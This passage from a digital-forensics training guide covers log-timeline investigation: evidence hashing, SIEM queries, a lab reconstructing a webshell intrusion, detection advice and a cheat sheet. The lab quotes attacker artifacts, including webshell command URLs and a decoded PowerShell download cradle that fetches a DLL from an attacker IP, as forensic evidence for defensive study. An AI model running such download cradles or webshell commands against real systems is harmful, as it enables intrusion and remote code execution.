# Collect + hash + manifest in one passfor f in Security.evtx System.evtx Sysmon.evtx auth.log; do sha256sum "$f" >> collection-manifest.txtdone# Later, before analysis, prove nothing changed:sha256sum -c collection-manifest.txt # every line must say: OKA single altered byte flips the hash, so a matching manifest is your proof the timeline was built from unmodified evidence. IR use case: when the incident may lead to litigation, insurance claims, or law-enforcement referral, an unbroken, hashed chain of custody is the difference between a report that stands up and one that gets thrown out.
Part 13b: SIEM Query Patterns and Correlation
Section titled “Part 13b: SIEM Query Patterns and Correlation”Most real investigations run against a SIEM, not raw files, so you must think in query languages. The three you meet most are Splunk SPL, Elastic/Kibana (KQL + EQL), and Microsoft Sentinel/Defender (KQL). The concepts transfer; only the syntax changes.
Search → filter → transform → correlate is the universal shape. A Splunk example that finds password-spray (many users, few attempts each, one source):
index=windows EventCode=4625| stats dc(Account_Name) as users, count as attempts by Source_Network_Address| where users > 20 AND attempts < 100| sort - usersstats dc(...) counts distinct usernames per source IP — spraying
hits many accounts with a few tries each, exactly the opposite shape of
brute force (one account, many tries). The same idea in Microsoft
KQL (Sentinel/Defender), which reads top-down like a pipeline:
SecurityEvent| where EventID == 4625| summarize users = dcount(TargetAccount), attempts = count() by IpAddress| where users > 20 and attempts < 100| sort by users descCorrelation — joining two log sources on a shared key — is where
SIEM earns its keep. Elastic’s EQL (Event Query Language) has a
sequence operator built for attacker chains: “a process creation
followed by an outbound network connection from that same process
within 1 minute”:
sequence by process.entity_id with maxspan=1m [ process where process.name == "powershell.exe" and process.args : "*-enc*" ] [ network where destination.ip != "10.0.0.0/8" ]sequence by process.entity_id ties the two events to the same process
instance; maxspan=1m bounds the window; the two bracketed sub-queries
are the ordered steps. This single query encodes “encoded PowerShell
that then beacons out” — an entire mini-timeline as one detection.
Blue team usage: correlation searches like this, saved and
scheduled, are how a SOC turns the manual pivoting of Part 10 into
automated alerts.
A quick cross-platform Rosetta table for the operations you use constantly:
| Operation | Splunk SPL | Elastic KQL/EQL | Microsoft KQL |
|---|---|---|---|
| Filter | EventCode=4624 | event.code:4624 | where EventID == 4624 |
| Count by field | stats count by src_ip | `… | stats` (via agg) |
| Distinct count | dc(user) | cardinality | dcount(user) |
| Time window | earliest=-24h | @timestamp >= now-24h | where TimeGenerated > ago(24h) |
| Sequence/correlate | transaction | sequence by ... with maxspan | join / partition |
Part 13: Hands-On Lab — From Triage Image to Attacker Narrative
Section titled “Part 13: Hands-On Lab — From Triage Image to Attacker Narrative”This lab walks a complete, reproducible log-timeline investigation on a
triage collection from a compromised Windows web server (web01). Use
any DFIR practice image (e.g. a KAPE !SANS_Triage collection, or a
THM/HTB forensics room); the workflow is identical. Everything runs on a
Linux analysis workstation.
Scenario. SOC alerted on outbound traffic from web01 to
203.0.113.44. You have a triage collection: Security.evtx,
System.evtx, the Sysmon and PowerShell channels, $MFT, and the IIS
access logs.
Step 1 — establish the clock. Confirm the host timezone before anything else:
# From the SYSTEM hive in the triage setreg_dump SYSTEM 'ControlSet001\Control\TimeZoneInformation'# -> TimeZoneKeyName: "UTC" (good — no offset math needed)Step 2 — fast triage with Chainsaw. Get a shortlist of hits before the heavy timeline build:
chainsaw hunt ./web01_triage/ -s sigma/ --mapping mappings/sigma-event-logs.yml --csv -o triage/head triage/*.csvSample hits:
timestamp, detection, event_id, computer, detail2027-03-14T03:41:19Z, "Webshell upload", 4104, web01, "shell.php written"2027-03-14T03:58:22Z, "Service install from user dir", 7045, web01, "WinBackupSvc -> C:\Users\Public\svc.dll"2027-03-14T04:06:02Z, "LSASS access", 10, web01, "svc.exe -> lsass.exe"Step 3 — find the entry point in the web logs. The webshell hit points at IIS:
grep -i 'shell.php' web01_triage/inetpub/logs/*.log | head# 2027-03-14 03:41:19 POST /uploads/shell.php 200 203.0.113.44 curl/8.4.0# First interactive command via the shell:grep '203.0.113.44' web01_triage/inetpub/logs/*.log | grep 'shell.php?cmd=' | head# ...shell.php?cmd=whoami 200# ...shell.php?cmd=powershell%20-enc%20SQBFAFgA...Entry vector confirmed: an uploaded PHP webshell, first touched at 03:41:19, used to run commands.
Step 4 — build the super timeline for the window.
log2timeline.py --storage-file web01.plaso -z UTC ./web01_triage/psort.py -o l2tcsv web01.plaso \ "date > '2027-03-14 03:40:00' AND date < '2027-03-14 04:30:00'" \ -w web01-window.csvwc -l web01-window.csv # a few thousand rows, not millionsStep 5 — decode the encoded command seen in the web log and the PowerShell channel:
echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...' | base64 -d | iconv -f UTF-16LE -t UTF-8# IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.44/svc.dll')Step 6 — assemble the narrative by reading the interleaved timeline
and pivoting (four corners) on svc-backup, 203.0.113.44, and
svc.dll:
sequenceDiagram
participant A as Attacker 203.0.113.44
participant W as web01 (IIS)
participant P as PowerShell
participant C as C2
A->>W: POST /uploads/shell.php (03:41:19)
A->>W: shell.php?cmd=whoami (03:42)
A->>P: powershell -enc … DownloadString(svc.dll) (03:57)
P->>C: GET /svc.dll (03:58:20)
Note over W: svc.dll written 03:58:22
W->>W: Service "WinBackupSvc" installed 03:58:41 (7045)
W->>C: svc.exe → 203.0.113.44:443 (03:58:43)
Note over W: LSASS access 04:06 (Sysmon 10) — cred dump
A->>W: net user svc-backup2 … /add (04:11, 4720)
Step 7 — verify no timestomping on the dropped DLL by comparing
$SI and $FN:
grep 'svc.dll' web01-window.csv | grep FILE# $FN Created 2027-03-14 03:58:22 ; $SI Created 2019-03-19 (stomped to look old) => tampering confirmedStep 8 — write it up. The final annotated timeline, every row sourced:
| Time (UTC) | Event | Source | Meaning |
|---|---|---|---|
| 03:41:19 | POST /uploads/shell.php 200 | IIS access log | Webshell uploaded — initial access |
| 03:42:03 | shell.php?cmd=whoami | IIS access log | First code execution |
| 03:57:41 | 4104 encoded download cradle | PowerShell Operational | Loader fetch initiated |
| 03:58:22 | svc.dll created (then stomped) | $MFT $FN vs $SI | Payload staged + anti-forensics |
| 03:58:41 | 7045 service “WinBackupSvc” | System.evtx | Persistence installed |
| 03:58:43 | svc.exe → 203.0.113.44:443 | Sysmon 3 | C2 beacon established |
| 04:06:02 | Sysmon 10 LSASS access | Sysmon | Credential dumping |
| 04:11:20 | 4720 account svc-backup2 created | Security.evtx | Secondary persistence |
That table is the deliverable: a defensible, time-ordered, source-cited story from initial access to persistence, built entirely from logs and filesystem timestamps.
Part 14: Detection & Defense Angle
Section titled “Part 14: Detection & Defense Angle”Everything above is investigation; this section is how a defender makes the next investigation faster — or unnecessary. The recurring theme: investigations are only as good as the logs that existed before the incident. You cannot timeline what was never recorded.
Log the right things, before you need them.
- Enable Sysmon with a curated config (SwiftOnSecurity or Olaf
Hartong’s
sysmon-modularare the community baselines) on every Windows endpoint — process, network, DNS, and image-load events are the backbone of endpoint timelines. - Turn on command-line auditing (
4688with process command line) and PowerShell script-block logging (4104) via GPO. Without them,4688/4104events exist but are hollow. - On Linux, deploy an auditd rule set (execve, identity files, privileged commands) and prefer journald with persistent storage and, where feasible, FSS sealing.
- Capture DNS query logs at the resolver and NetFlow/Zeek at the perimeter — these are the tamper-resistant witnesses.
- In cloud, ensure CloudTrail (all regions, management + data events), VPC Flow Logs, and Entra/GCP audit logs are on and shipped to a bucket/account the workload cannot delete.
Centralise and protect the logs. Forward everything to a SIEM or
central store off the host, ideally append-only, so a 1102 clear on
the endpoint doesn’t erase the forwarded copy. The gap between “logged
locally” and “forwarded and retained” is where attackers live.
Detect the anti-forensics themselves. Alert on: event 1102/104
(log cleared), Windows Event Log service stops, EventRecordID gaps,
auditd DAEMON_END, and files with zeroed-nanosecond timestamps in
system directories. These meta-events are high-signal because legitimate
users almost never trigger them.
Detection engineering with Sigma closes the loop. Every rule you write to triage a dead-box timeline should also run live. Maintain the ruleset in Sigma, version-controlled, mapped to MITRE ATT&CK, so investigation findings continuously harden monitoring. The intrusion you just timelined should become three Sigma rules that catch the next one in minutes.
Retention is a control. Attackers dwell for weeks or months; a 7-day log retention means the initial-access event is long gone by the time you investigate. Retain authentication, process, DNS, and cloud audit logs for at least the length of a realistic dwell time — 90 days minimum, a year for high-value.
Part 14b: Common Pitfalls
Section titled “Part 14b: Common Pitfalls”Even experienced analysts lose investigations to a handful of recurring mistakes. Internalise these.
- Timezone blindness. Building a timeline from mixed-timezone sources without converting to UTC first. A DC in UTC, a workstation in local time, and a SIEM in yet another zone will silently mis-order events by hours. Fix: establish each host’s clock (Part 1), convert everything to UTC at ingest, keep the original offset in a side field.
- Trusting a single witness. Concluding “the attacker logged off at
05:00” from a
4634alone, when the account was actually still active via a service logon. Fix: corroborate every key claim with an independent source, ideally one outside the host. - Ingest time ≠ event time. Sorting on the SIEM’s
_time/index time instead of the event’s real occurrence time. A backed-up forwarder can make events appear hours after they happened. Fix: always sort on the parsed event timestamp, and watch for large ingest-vs-event deltas — they themselves indicate a problem. - Dumping the whole super timeline. Opening a 20-million-row
psortoutput and drowning. Fix: always filter to a window and/or artifact type first; expand outward by pivoting, not by scrolling. - Ignoring the gaps. Reading only the events that exist and missing
that 18 records vanished mid-stream. Fix: check
EventRecordIDcontinuity and cross-witness contradictions; absence is evidence. - Analysing on the live victim. Running heavy tooling on the
compromised box, changing access times and tipping off the attacker.
Fix: collect, hash, and analyse copies offline (
--directory, mounted read-only images). - Confusing correlation with causation on the timeline. Two events being adjacent in time does not prove one caused the other. Fix: look for a mechanistic link (same process ID, same session, same source IP), and label inferred links as inferred in the report.
- Letting obfuscation win. Seeing
-encbase64 and moving on. Fix: always decode it (Part 4) — the decoded payload is usually the single most important line in the case.
Part 15: Final Revision / Summary
Section titled “Part 15: Final Revision / Summary”- A log line is testimony, not truth. Weigh it like a witness — corroborate, never trust alone — and remember every event has multiple timestamps (occurred, recorded, forwarded, indexed); confusing them wrecks timelines.
- Establish the clock first. Timezone and skew for every host go at the top of your notes; convert everything to UTC before you interpret anything.
- Know where evidence lives. Windows Security/Sysmon/PowerShell, Linux auth/journald/auditd, web/DNS/firewall/NetFlow, and cloud control-plane logs — and prefer the witness furthest from attacker control.
- Memorise the Windows IDs and Logon Types. 4624/4625/4648/4672/4688/4697/4720/1102, and Logon Type 3 (network/PtH) vs 10 (RDP) are the intrusion signal.
- Normalise → unify to UTC → enrich → timeline. A common schema (ECS/OSSEM) is what lets heterogeneous logs sort onto one axis; keep the raw record always.
- The super timeline interleaves everything. Plaso
log2timeline.pybuilds it,psort.pyfilters it; the power is in seeing a file write, a service install, and a beacon within seconds of each other. - Timesketch scales it to a team; pivot with the four corners (who/what/where/when); each fact becomes the next anchor.
- Detect tampering.
$SIvs$FNmismatch and zeroed nanoseconds catch timestomping;EventRecordIDgaps and log-clear events catch log manipulation; cross-witness contradiction catches both. - Sigma is the shared detection language — triage dead boxes (Chainsaw/Hayabusa) and monitor live systems from one ruleset.
- The deliverable is a sourced, time-ordered narrative, honest about observed-vs-inferred links and about which portions rest on tamper-resistant sources.
Part 16: Cheat Sheet / Quick Reference
Section titled “Part 16: Cheat Sheet / Quick Reference”Establish the clock
timedatectl # Linux live timezone/skewreg query "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" # WindowsWindows EVTX
evtx_dump -o jsonl Security.evtx > sec.jsonljq 'select(.Event.System.EventID==4624)' sec.jsonl # logons# PowerShell live:Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625;StartTime=(Get-Date).AddDays(-1)}Key Windows Event IDs: 4624 logon · 4625 fail · 4648 explicit creds · 4672 admin · 4688 proc · 4697/7045 service · 4720 acct created · 1102 log cleared · 4769 Kerberos TGS. Logon Types: 3 network/PtH · 10 RDP · 9 runas-netonly.
Linux
grep -E 'Accepted|Failed' /var/log/auth.logjournalctl --directory=/mnt/evi/var/log/journal --utc -o short-iso-preciseausearch -i -m EXECVE --start 03/14/2027 03:00:00Cloud (CloudTrail)
jq -r '.Records[]|select(.userIdentity.accessKeyId=="AKIA…") |[.eventTime,.eventName,.sourceIPAddress]|@tsv' ct.json | sortSuper timeline (Plaso)
log2timeline.py --storage-file c.plaso -z UTC /mnt/evidence/psort.py -o l2tcsv c.plaso "date > 'YYYY-MM-DD HH:MM:SS' AND date < '…'" -w out.csvTriage with Sigma
chainsaw hunt ./evtx/ -s sigma/ --mapping mappings/sigma-event-logs.yml --csv -o triage/Timestomp check: compare $SI vs $FN creation times; suspect
zeroed nanoseconds.
Tamper check: EventRecordID gaps · event 1102/104 · Event Log
service stop · auditd DAEMON_END.
Part 16b: Memory Hooks
Section titled “Part 16b: Memory Hooks”A few analogies that make the concepts stick:
- Logs are witnesses, the timeline is the trial. You don’t convict on one witness; you build a corroborated story from many, and you note which witnesses the defendant could have got to.
- UTC is sea level. Every host reports its own “altitude” (timezone); convert everything to sea level before you compare heights, or your map is nonsense.
- The super timeline is a zip merge. Filesystem times, event logs, registry, and browser history are separate sorted lists; Plaso zips them into one, and the story lives in the interleaving.
- Four corners = a spider on a web. Land on one thread (an event), feel along who/what/where/when to the next junction, and repeat until the web stops.
$SIlies,$FNtells the truth. When a file’s two birth certificates disagree, believe the one that’s harder to forge.
Part 17: Practice Labs & Resources
Section titled “Part 17: Practice Labs & Resources”- DFIR super-timeline practice: the Plaso “test image” and the
SANS SIFT Workstation ship with Plaso, Timesketch, and sample images
— build a full
log2timeline/psorttimeline end to end. - TryHackMe: “Investigating Windows,” “Windows Event Logs,” “Splunk” series, and “Sysmon” rooms drill Event ID reading and log queries hands-on.
- TryHackMe / Blue Team Labs Online: “Timeline Analysis” and “Log Analysis” challenges give you raw logs and ask for the attacker narrative.
- HackTheBox Sherlocks: the DFIR “Sherlock” challenges (e.g. the Windows/log-analysis ones) are purpose-built log-timeline investigations with a scored answer key.
- Timesketch: import the public Greendale demo dataset from the Timesketch docs and practise tagging, pivoting, and building a Story.
- Sigma / Chainsaw: clone the SigmaHQ rule repo and run Chainsaw or Hayabusa against the EVTX-ATTACK-SAMPLES repo (thousands of labelled malicious EVTX files) to see rules fire on real attacker behaviour.
- CyberDefenders: blue-team labs such as “Web Investigation” and various endpoint cases provide realistic multi-source logs to timeline.
- DeepBlueCLI / APT-Hunter: run these over the same EVTX samples for a second opinion and to learn what “known-bad in logs” looks like.
- AWS CloudTrail practice: the flaws.cloud and CloudGoat scenarios generate real CloudTrail you can investigate; replay an attack, then reconstruct it purely from the audit log to build cloud-timeline reflexes.
The next chapter puts every skill in this notebook together: a full ransomware and breach investigation case study, from first alert to a complete, timelined incident report.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.